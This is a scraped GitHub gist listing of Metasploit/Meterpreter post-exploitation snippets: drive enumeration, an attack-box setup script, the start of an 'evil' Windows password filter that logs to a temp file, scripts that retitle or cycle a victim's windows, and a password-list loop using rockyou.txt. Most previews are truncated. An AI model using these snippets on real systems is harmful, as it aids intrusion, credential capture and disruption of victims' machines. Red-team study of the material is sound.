Skip to content

Instantly share code, notes, and snippets.

View mubix's full-sized avatar
🎯
Focusing

Rob Fuller mubix

🎯
Focusing
View GitHub Profile
@mubix
mubix / listdrives.rb
Created August 14, 2013 17:47
Useful meterpreter script
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
test = letters[i,1]
rem = a % (2**(i+1))
if rem > 0
drives << test
a = a - rem
@mubix
mubix / install.sh
Created August 24, 2013 02:40
Attackbox Build
#!/bin/bash
#Latest
apt-get update && apt-get upgrade -y
#Install Dependencies
aptitude -y install build-essential libssl-dev zlib1g zlib1g-dev git git-core subversion screen bison flex jam exuberant-ctags libreadline-dev libxml2-dev libxslt-dev libpcap-dev libmysqlclient-dev libpq-dev libsqlite3-dev autoconf python-software-properties libtool
@mubix
mubix / evilpassfilter.cpp
Created September 10, 2013 19:24
Evil "Password Filter"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
@mubix
mubix / therealcow.txt
Created November 17, 2013 03:28
the real cow
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
@mubix
mubix / windowroulette.rb
Created December 20, 2013 04:45
Window Roulette
# Code loops around each of the windows
# that the current user has open and switches
# focus to each of them in rotation... 100 times.
(0..100).each do |x|
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetForegroundWindow(winder[:handle])
end
@mubix
mubix / hacked_windowtext.rb
Created December 20, 2013 05:03
Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
end
end
@mubix
mubix / close_minimize.rb
Created December 20, 2013 05:15
Uses the "CloseWindow" API call to minimize all of the windows.
windows = client.extapi.window.enumerate
windows.each do |winder|
result = client.railgun.user32.CloseWindow(winder[:handle])
end
namefile = File.new('other-names.txt', 'r')
passwordfile = File.new('rockyou.txt', 'r')
usercount = 5
names = []
namefile.each_line do |line|
names << line.chomp
end
passwords = []
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# $Id$
##
# post/windows/gather/enum_vnc_pw.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.